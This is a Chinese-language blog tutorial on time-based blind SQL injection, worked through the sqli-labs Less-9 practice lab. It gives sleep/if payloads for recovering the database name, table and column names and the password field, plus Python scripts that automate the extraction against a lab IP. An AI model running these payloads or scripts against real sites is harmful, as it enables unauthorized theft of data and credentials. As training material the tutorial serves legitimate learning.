时间盲注的套路

2018/08/11 安全 sql注入 3464 words views

记录时间盲注的套路以及通用的暴破脚本,这里通过一道题来看 — sqli-labs Less-9(基于时间的GET单引号盲注)。

0x01 预备

所谓基于时间的盲注,就是页面不会给你任何有价值的回显。要想识别该漏洞,可以向数据库注入时间延迟,并检查服务器的响应是否也已经产生了延迟。

1. 注入点判断

先进行一些尝试

id=1 ---> you are in~
id=1' ---> you are in~
id=1'--+ ---> you are in~

id=1' and sleep(5) --+ ---> 延时 5 秒,说明可以进行时间注入

2. 时间盲注中常用延时函数

sleep()	适用 MySQL 5,延时时间执行。
benchmark()	适用 MySQL 4/5 ,延时时间执行。 ---> benchmark(10000000,encode('hello','mom')) 执行该语句需要约 3.6 秒

if语句:if(expr1,expr2,expr3) 若expr1为真,返回expr2,否则返回expr3

注入时候是根据 sleep(5) 并结合 if(,,) 判断来的,条件正确就有五秒延迟,不正确就没有五秒延迟。

payload:

id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)

0x02 构造 Payload

1. 猜数据库长度

payload:

id=1' and if(length(database())=X,sleep(5),0)--+
#encoding: utf-8
import requests
import string

rq = requests.session()

url = "http://192.168.1.102/sqli/Less-8/?id=1' and if(length(database())={},sleep(5),0)--+"
s = string.digits + string.uppercase + string.lowercase


for i in range(30):
	payload = url.format(i)
	print payload
	try:
		response = rq.get(payload, timeout=4)
	except requests.exceptions.ReadTimeout:
		print i 
		break
		continue

2. 猜数据库名

payload:

id=1' and if(ascii(substr(database(),XX1,XX2))=XX3,sleep(5),0)--+
或
id=1' and if(ascii(substr(database(),XX1,XX2))>=XX3,sleep(5),0)--+

XX1: 是数据库名称(字符串)不同的位置 1-8
XX2: 截取的字符长度 1
XX3: 截取的字符 ascii 码值

采用二分法提高下效率:

#encoding: utf-8
import requests
import string

rq = requests.session()

url = "http://192.168.1.102/sqli/Less-8/?id=1' and if(ascii(substr(database(),{},1))>={},sleep(5),0)--+"
s = string.digits + string.uppercase + string.lowercase


database = ""
database_len = 8
for i in range(1, database_len+1):
	left = 48
	right = 122
	mid = (left + right) / 2
	while left < right-1:
		payload = url.format(i, mid)
		print payload
		try:
			response = rq.get(payload, timeout=4)
			right = mid
		except requests.exceptions.ReadTimeout:
			left = mid
		mid = (left + right) / 2
	database += chr(left)
	print database
print database

3.猜表的长度

payload:

id=1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit XX1,XX2)=XX3,sleep(5),0)--+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量,从 0 开始,改变这里来求出所有表的长度
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 猜测的表的长度

脚本基本一样就不放了。

4. 猜表名

payload:

id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit XX1,XX2),XX3,XX4)))=XX5,sleep(5),0) --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 是表名称(字符串)不同的位置 
XX4: 截取的字符长度 1
XX5: 截取的字符 ascii 码值

脚本基本一样就不放了。

5.猜字段的长度

这跟前面猜表长度那里基本一样了

payload:

id=1' and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit XX1,XX2)=XX3,sleep(5),0) --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量,从 0 开始,改变这里来求出所有字段的长度
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 猜测的字段的长度

脚本基本一样就不放了。

6.猜字段名

这里跟前面猜表名那里基本一样

payload:

id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit XX1,XX2),XX3,XX4)))=XX5,sleep(5),0) --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量  2
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 是字段名(字符串)不同的位置 
XX4: 截取的字符长度 1
XX5: 截取的字符 ascii 码值

脚本基本一样就不放了。

7. 猜目标数据的长度

通过之前我们知道了:

数据库 : security
表:users
目标字段: password (这里就暂且取一个目标字段作为例子)

还是跟之前的一样

payload:

id=1' and if((select length(password) from users limit 0,1)=X,sleep(5),0) --+

8. 猜目标数据

payload:

id=1' and if((ascii(substr((select password from users limit 0,1),XX1,1)))=XX2,sleep(5),0) --+

XX1: 目标数据(字符串)每个字符的位置
XX2: 目标数据字符串中字符的 ascii 码值

至此一次时间盲注就完成了。

0x03 使用工具

1. burpsuite

使用 burpsuite 来玩的话,跟暴破密码的路数基本一样,就不多说了。

2. sqlmap

跟布尔盲注时一样,就不再赘述了。


上一篇: 布尔盲注的套路
下一篇: 自言自语

Search

    Table of Contents